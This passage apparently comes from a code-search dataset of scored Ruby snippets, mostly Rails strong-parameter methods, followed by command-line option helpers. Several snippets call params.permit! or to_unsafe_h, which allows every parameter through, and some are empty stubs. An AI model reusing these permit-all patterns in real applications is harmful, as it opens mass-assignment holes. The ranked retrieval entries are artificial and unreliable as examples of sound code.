params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
1e95f41d90ca615769b3a59371109955
options for the TTY command
[ { "docid": "de8f2611b25bb7205af0697d675c3801", "score": "0.6330619", "text": "def x_set_command_options(context)\n defaults = { uuid: false }\n defaults.merge!(dry_run: true) if context.options.key?(:dry_run)\n defaults\n end", "title": "" } ]
[ { "docid": "f834daa9a1e9119435da9a71023683ed", "score": "0.6998286", "text": "def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end", "title": "" }, { "docid": "f834daa9a1e9119435da9a71023683ed", "score": "0.6998286", "text": "def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end", "title": "" }, { "docid": "f65c40a74bfd723c2e32edf07951a52a", "score": "0.69937634", "text": "def command(**options)\n require \"tty-command\"\n TTY::Command.new(options)\n end", "title": "" }, { "docid": "b99fd2f510bdd8858a49cc70140e2dd8", "score": "0.6757954", "text": "def command(**options)\n require 'tty-command'\n TTY::Command.new({ printer: :quiet, uuid: false }.merge(options))\n end", "title": "" }, { "docid": "981d2d6ce4cb2d6f4e2e8366398342c5", "score": "0.6607268", "text": "def io_options\n options.select { |k, _| [:append_output, :stdout].include? k }\n end", "title": "" }, { "docid": "3bc2800ca084ad1046916c7656abe70e", "score": "0.65077204", "text": "def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end", "title": "" }, { "docid": "495419ea568ab1c50e1d8023645231e6", "score": "0.6447933", "text": "def options() end", "title": "" }, { "docid": "f71117d2df2ae084d033986287de78c3", "score": "0.64439815", "text": "def program_options\n [\n ['--format', '-f FORMAT', 'Format as html or text(default)',\n lambda { |value| options.format = value }\n ],\n ['--coffee', '-c', 'Show code as coffeescript',\n lambda { |value| options.coffee = true }\n ]\n ]\nend", "title": "" }, { "docid": "3bf52e04db52aa8b282f44eea399cd0f", "score": "0.6361155", "text": "def command_options(opts)\n opts[:read] ? opts : opts.merge(:read => @read)\n end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.631016", "text": "def options(opt); end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.6309285", "text": "def options(opt); end", "title": "" }, { "docid": "3b27557770aa54213f9460e7afc14dd3", "score": "0.62957585", "text": "def options(opt)\n end", "title": "" }, { "docid": "e9a275502e1af5145a45361195f699eb", "score": "0.6289206", "text": "def cmd(options={})\n arguments\n end", "title": "" }, { "docid": "5a1a793050b668c8caf82f929617f5b9", "score": "0.6247269", "text": "def shell_opts(options)\n filtered_opts = options.reject do |key, _value|\n [:use_sudo, :sudo_command, :log_subject, :quiet].include?(key)\n end\n { live_stream: logger, timeout: 60_000 }.merge(filtered_opts)\n end", "title": "" }, { "docid": "2a334fd31db82964d73ef810d8a5a9dc", "score": "0.6243736", "text": "def common_options(opts)\n opts.separator ''\n opts.separator 'Other options:'\n opts.on('--[no-]color', 'Run without color') do |v|\n Term::ANSIColor.coloring = v\n end\n opts.on_tail('-v', '--version', 'Show version.') do\n ui.trace \"inch #{Inch::VERSION}\"\n exit\n end\n opts.on_tail('-l', '--language [LANGUAGE]',\n 'Set language (elixir|javascript|ruby).') do |language|\n @language = language\n end\n opts.on_tail('-r', '--read-from-dump [FILE]',\n 'Read objects from dump.') do |file|\n @read_dump_file = file\n end\n opts.on_tail('-h', '--help', 'Show this help.') do\n ui.trace opts\n exit\n end\n end", "title": "" }, { "docid": "d9507a63b5b7a64292b0c92134c141a3", "score": "0.6209287", "text": "def options; @opts end", "title": "" }, { "docid": "c65b43a2571d71a3d54b54cf2443ca18", "score": "0.61464125", "text": "def options\n [\n [ '--ec2-user-id', '-u', GetoptLong::REQUIRED_ARGUMENT],\n [ '--aws-access-key-id', '-a', GetoptLong::REQUIRED_ARGUMENT],\n [ '--aws-secret-access-key', '-s', GetoptLong::REQUIRED_ARGUMENT],\n [ '--snapshot', GetoptLong::NO_ARGUMENT],\n [ '--restore-most-recent', '--start-most-recent', GetoptLong::NO_ARGUMENT],\n [ '--host-role', '-r', GetoptLong::REQUIRED_ARGUMENT],\n [ '--volume-size', GetoptLong::OPTIONAL_ARGUMENT],\n [ '--tell', GetoptLong::NO_ARGUMENT],\n [ '--debug', GetoptLong::NO_ARGUMENT]\n ]\n end", "title": "" }, { "docid": "b5137286dcbf89b1f83935486561d756", "score": "0.611277", "text": "def get_options\n ARGV.options { |opt|\n opt.banner = \"Usage: ruby #{__FILE__} [options] ipv6addr port\"\n\n opt.on(\"--help\", \"What you see right now\"){ puts opt; exit 0}\n\n opt.on(\"--doc=DIRECTORY\", String, \"Output rdoc (Ruby HTML documentation) into directory\"){|dir|\n system(\"rdoc -o #{dir} #{__FILE__}\")\n }\n\n opt.on(\"--verbose\", \"-v\", \"print space separated timestamps to STDOUT\"){|@verbose|}\n\n opt.on(\"--interval=FLOAT\", \"-i\", Float, \"approximate interval to send packets at will sleep for this many seconds before sending. Not very accurate when doing less than 0.01. Will divide interval by 1000 when < 0.01 (inteval of 0.001 effective to reduce send interval to less than 0.01 but suddenly jumps up to 0.00005 and 100% cpu time) Probably need proper scheduling besides sleep to get better accuracy\"){|@interval|\n puts \"using interval of #{@interval}\" if not @verbose\n }\n\n opt.on(\"--data=STRING\", \"-d\", String, \"payload to send (by default sends timestamp\",\n \"like this #{Time.now().to_f})\"){|@payload|\n @use_payload = true\n puts \"using payload of #{@payload}\" if not @verbose\n }\n\n opt.on(\"-r\", \"Receive mode \"){|@receive|}\n\n opt.on_tail(\"default port is #{@port}\")\n opt.parse!\n } or exit(1);\n\n if @quit\n pp self\n (print ARGV.options; exit)\n end\n\n raise \"Missing host from the commandline.\" if ARGV.size < 1\n\n @host = ARGV.shift\n\n @port = ARGV.shift if not ARGV.empty?\n\n end", "title": "" }, { "docid": "f2a45f1bc88188df1940f87f8f85945b", "score": "0.60752505", "text": "def vtysh_cmd(cmds)\n vtysh_opts = ['vtysh'].concat(cmds.map { |cmd| \"-c \\\"#{cmd}\\\"\" })\n if cmds.length > 1\n vtysh_opts.join(\"\\n\") # when multiple commands\n else\n vtysh_opts.join(' ') # when single command\n end\n end", "title": "" }, { "docid": "3f2a080eaa6a705d2708c59abb46424a", "score": "0.6070994", "text": "def print_options(format)\n help = execute(\"python #{@@executables[format]} --help\")\n # non-hyphenated long options to symbols\n help.gsub!(/(\\-\\-)([A-Za-z0-9]+)([=|\\s])/, ':\\2\\3')\n # hyphenated long options to quoted strings\n help.gsub!(/(\\-\\-)([\\w|\\-]+)(\\n)?[^$|^=|\\]]?/, '\\'\\2\\'\\3')\n # equal to hashrocket\n help.gsub!(/\\=/, ' => ')\n # hort options to symbols\n help.gsub!(/([^\\w])\\-(\\w)([^\\w])/, '\\1:\\2\\1')\n # short options with args get a hashrocket\n help.gsub!(/(:\\w) </, '\\1 => <')\n puts help\n end", "title": "" }, { "docid": "ed29d9c404ba9c971efadea0cd9b1d19", "score": "0.60576075", "text": "def cli_options\n { returns: [0],\n user: node[:jboss][:user],\n cwd: node[:jboss][:home]\n }\n end", "title": "" }, { "docid": "3883509437a5abea0d4ecb035d03f8d7", "score": "0.60557294", "text": "def command(cmd); \"#{cmd}#{options.tail ? ' -f' : ''}\" end", "title": "" }, { "docid": "498a244205f13a77d058fc020b3f9aa5", "score": "0.6053116", "text": "def sh_test_options\n {\n :cmd_pattern => '% ',\n :cmd => '2>&1 ',\n :indents => true,\n :env => {\n 'TAPFILE' => nil,\n 'TAP_GEMS' => nil, \n 'TAP_PATH' => nil,\n 'TAPENV' => nil,\n 'TAPRC' => nil,\n 'TAP_DEBUG' => nil\n },\n :replace_env => false\n }\n end", "title": "" }, { "docid": "909684af254b09c94c80976af5c02936", "score": "0.60405153", "text": "def options; [] end", "title": "" }, { "docid": "8800ad12a77fd51d70a0d0c59cdcfbee", "score": "0.60315764", "text": "def atom_options opts, options\n opts.on('-u', '--user NAME', 'username for HTTP auth') { |u| options[:user] = u }\n\n opts.on_tail('-h', '--help', 'show this usage statement') { |h| puts opts; exit }\n\n opts.on_tail('-p', '--password [PASSWORD]', 'password for HTTP auth') do |p|\n options[:pass] = p\n end\n end", "title": "" }, { "docid": "4c51c1e60f4f320075eb2467ec5b7421", "score": "0.6001519", "text": "def program_options\n [\n # The values of the array are,\n # [long_option, short_option and parameter, description, code to execute] \n ['--to', '-t TO', \"Send email to recipent\",\n lambda { |value| options.to = value }\n ],\n ['--message', '-m MESSAGE', \"Include the message.\",\n lambda { |value| options.message = value }\n ],\n ['--subject', '-s SUBJECT', \"Include the subject.\",\n lambda { |value| options.subject = value }\n ],\n ['--verbose', '-v', \"Log to standard output.\",\n lambda { |value| options.verbose = true }\n ],\n ['--version', '-V', \"Display the program version.\",\n lambda { |value|\n puts \"#{program_name}, version #{PROGRAM_VERSION}\"\n exit\n }\n ]\n ]\nend", "title": "" }, { "docid": "60694d2fbe1c6f05e19ef9bf7a3851ab", "score": "0.5983731", "text": "def options_other opts, colors\n\t\t\t\topts.separator \"\"\n\t\t\t\topts.separator \"Other Options: \".colorize(colors[:green])\n\n\t\t\t\t#todo -h\n\t\t\t\topts.on('-h', '--help', 'displays this screen' ) do\n\t\t\t\t\tputs opts\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\t\t#todo -w\n\t\t\t\topts.on('-w', \"displays the name of the current list\") do\n\t\t\t\t\tputs \"Working list is #{Config[:working_list_name]}\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "457bb9ecbc943c2ec70279b05631ff04", "score": "0.5981947", "text": "def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end", "title": "" }, { "docid": "527ec7be1d8fd7ea5d7038ee82fe6f64", "score": "0.59797573", "text": "def usage\n txt = [\"\\nOPTIONS:\\n\"]\n\n fmt.sort.each do |entry|\n fmtspec, val = entry\n opt = val[0] ? \" <opt> \" : \" \"\n txt << \" #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}\"\n end\n\n txt << \"\"\n txt.join(\"\\n\")\n end", "title": "" }, { "docid": "b2b42d56b878fe94daeeab2fbc1c6c16", "score": "0.5976915", "text": "def get_command_options(agent, command)\n command = create_spec(command)\n command.args = GET_OPTIONS\n ret = exec(agent, command)\n ret.raise!\n return ret.decode\n end", "title": "" }, { "docid": "1501db9f4e1d272b51a8e5c45b8c7cd5", "score": "0.59745425", "text": "def options\n\tputs \"[A]dd employee\"\n\tputs \"[D]isplay the employee details\"\n\tputs \"[Q]uit\"\n\tputs \"\"\nend", "title": "" }, { "docid": "45508d9e6319b793b86db8af5e2e4c17", "score": "0.5970913", "text": "def opts\n @opts ||= OptionParser.new do |opts|\n opts.program_name = File.basename($PROGRAM_NAME)\n\n padding = @commands.map(&:name).map(&:size).max\n\n banner = \"Usage: #{opts.program_name} COMMAND\\n\\nCommands\\n\"\n\n @commands.each do |command|\n banner << \" #{command.name.ljust(padding)} #{command.description}\\n\"\n banner << \" #{\" \" * padding} #{opts.program_name} #{command.name} > #{command.output_path}\\n\"\n end\n\n opts.banner = banner\n\n opts.separator \"\"\n opts.separator \"Options:\"\n opts.on_tail(\"-h\", \"--help\", \"Display this screen\") do\n puts opts\n exit\n end\n end\n end", "title": "" }, { "docid": "38496ba08cf1626a11320928057ee21c", "score": "0.59629655", "text": "def desc\n \"Interactive TTY\"\n end", "title": "" }, { "docid": "824274c86471022c6a8052cfe9b0845c", "score": "0.5955535", "text": "def command_options(arg=nil)\n @command_options ||= default_options(match)\n @command_options.merge!(arg) if arg\n @command_options\n end", "title": "" }, { "docid": "4895426bd80af605e540b948e8d730d8", "score": "0.5951425", "text": "def command\n return \"#{@command} #{options}\"\n end", "title": "" }, { "docid": "0946ebd4f39e206adcd140844468eb75", "score": "0.5948067", "text": "def cli_options\n [cropped_url, threshold, flip].join(' ').strip\n end", "title": "" }, { "docid": "ebd8776d69531dd1576f783d860b44e2", "score": "0.5937854", "text": "def connectivity_options\n %w[host port].map do |option|\n next if send(option).nil? or (send(option).respond_to?(:empty?) and send(option).empty?)\n \"--#{option}='#{send(option)}'\"\n end.compact.join(\"\\s\")\n end", "title": "" }, { "docid": "3cbc93c6ec9fcb6933d9338edd134d1d", "score": "0.5916357", "text": "def command_options=(opts)\n # Ensure these options are removed, these are either incompatible with the LSF,\n # or will already have been added elsewhere\n {\n ['-h', '--help'] => false,\n ['-w', '--wait'] => false,\n ['-d', '--debug'] => false,\n ['-c', '--continue'] => false,\n '--exec_remote' => false,\n ['-t', '--target'] => '*',\n ['-e', '--environment'] => '*',\n '--id' => '*',\n ['-l', '--lsf'] => %w(add clear)\n }.each do |names, values|\n [names].flatten.each do |name|\n ix = opts.index(name)\n if ix\n opts.delete_at(ix)\n [values].flatten.each do |value|\n if value && (value == '*' || opts[ix] == value)\n opts.delete_at(ix)\n end\n end\n end\n end\n end\n @command_options ||= []\n @command_options += opts\n end", "title": "" }, { "docid": "d2057fb2806e8862aef9e95c3ba4447c", "score": "0.5901073", "text": "def thor_options_to_optparse\n flags = []\n %i[color progress debug interactive].each do |option|\n if options[option] then flags << \"--#{option}\"\n else flags << \"--no-#{option}\"\n end\n end\n flags\n end", "title": "" }, { "docid": "3f421430d0c75ed51395057aaddcaf8e", "score": "0.588215", "text": "def run_keys\n %i[verbose pty only_output_on_error in out err]\n end", "title": "" }, { "docid": "be5ddf00b0da6fdff3d1f5538e6701b0", "score": "0.5879471", "text": "def command_arguments(options={})\n args = []\n args.concat(['--type', options[:type].to_s]) if options[:type]\n args.concat(['--line-break', options[:line_break].to_s]) if options[:line_break]\n args.concat(['--charset', options[:charset].to_s]) if options[:charset]\n\n if options[:type].to_s == 'js'\n args << '--nomunge' unless options[:munge]\n args << '--preserve-semi' if options[:preserve_semicolons]\n args << '--disable-optimizations' unless options[:optimize]\n end\n\n args\n end", "title": "" }, { "docid": "6a13beac9423f70c867efe659dc02fa7", "score": "0.58763856", "text": "def dump_options\n puts \"channel is #{@channel}\"\n puts \"eip value is #{@value}\"\n puts \"verbose options is #{@verbose}\"\n puts \"dryrun options is #{@dryrun}\"\n end", "title": "" }, { "docid": "2ba19bf6c1320d7444e0cfe35507b502", "score": "0.58544546", "text": "def parseopts(cmd, options)\n if options != false\n options.each do |k, v|\n if k != :arg && k != :list_entries\n if v.is_a? Array\n v.each do |vv|\n cmd << \" --#{k}='#{vv}'\"\n end\n else\n cmd << \" --#{k}='#{v}'\"\n end\n end\n end\n\n options[:arg].each { |opt| cmd << \" --#{opt}\" } if options.has_key?(:arg)\n options[:list_entries].each { |e| cmd << \" \\\"#{e}\\\"\" } if options.has_key?(:list_entries)\n end\n cmd\n end", "title": "" }, { "docid": "618a899ab292c4a8c66e55f367dbe45c", "score": "0.5833298", "text": "def credential_options\n %w[username password].map do |option|\n next if send(option).nil? or send(option).empty?\n \"--#{option}='#{send(option)}'\"\n end.compact.join(\"\\s\")\n end", "title": "" }, { "docid": "061d238f583af92d985a554ce3589a12", "score": "0.5811801", "text": "def initialize_opts(stop_cmds)\n opts = Trollop::options do\n banner \"Tickspot CLI interface\"\n opt :config, \n \"Path to tickspot-cli config file\", \n :short => \"-c\", \n :default => File.expand_path(\"~/.tickspot-cli\")\n stop_on stop_cmds\n end\n end", "title": "" }, { "docid": "1dd5947504724bc58c1539ca6734d0db", "score": "0.58010226", "text": "def options_set opts, colors\n\t\t\t\topts.separator \"\"\n\t\t\t\topts.separator \" *\".colorize(colors[:cyan]) + \" set, s\".colorize(colors[:yellow]) + \n\t\t\t\t\" adds additional information to a task\".colorize(colors[:magenta])\n\t\t\t\topts.separator \" usage: \".colorize(colors[:cyan]) + USAGE[:set].colorize(colors[:red])\n\t\t\t\topts.separator \" -p TYPE set the priority of the task to one of the \\n\" + \n\t\t\t\t\" following. Default is medium\"\n\t\t\t\topts.separator \" -n references a task by its number\"\n\t\t\tend", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": 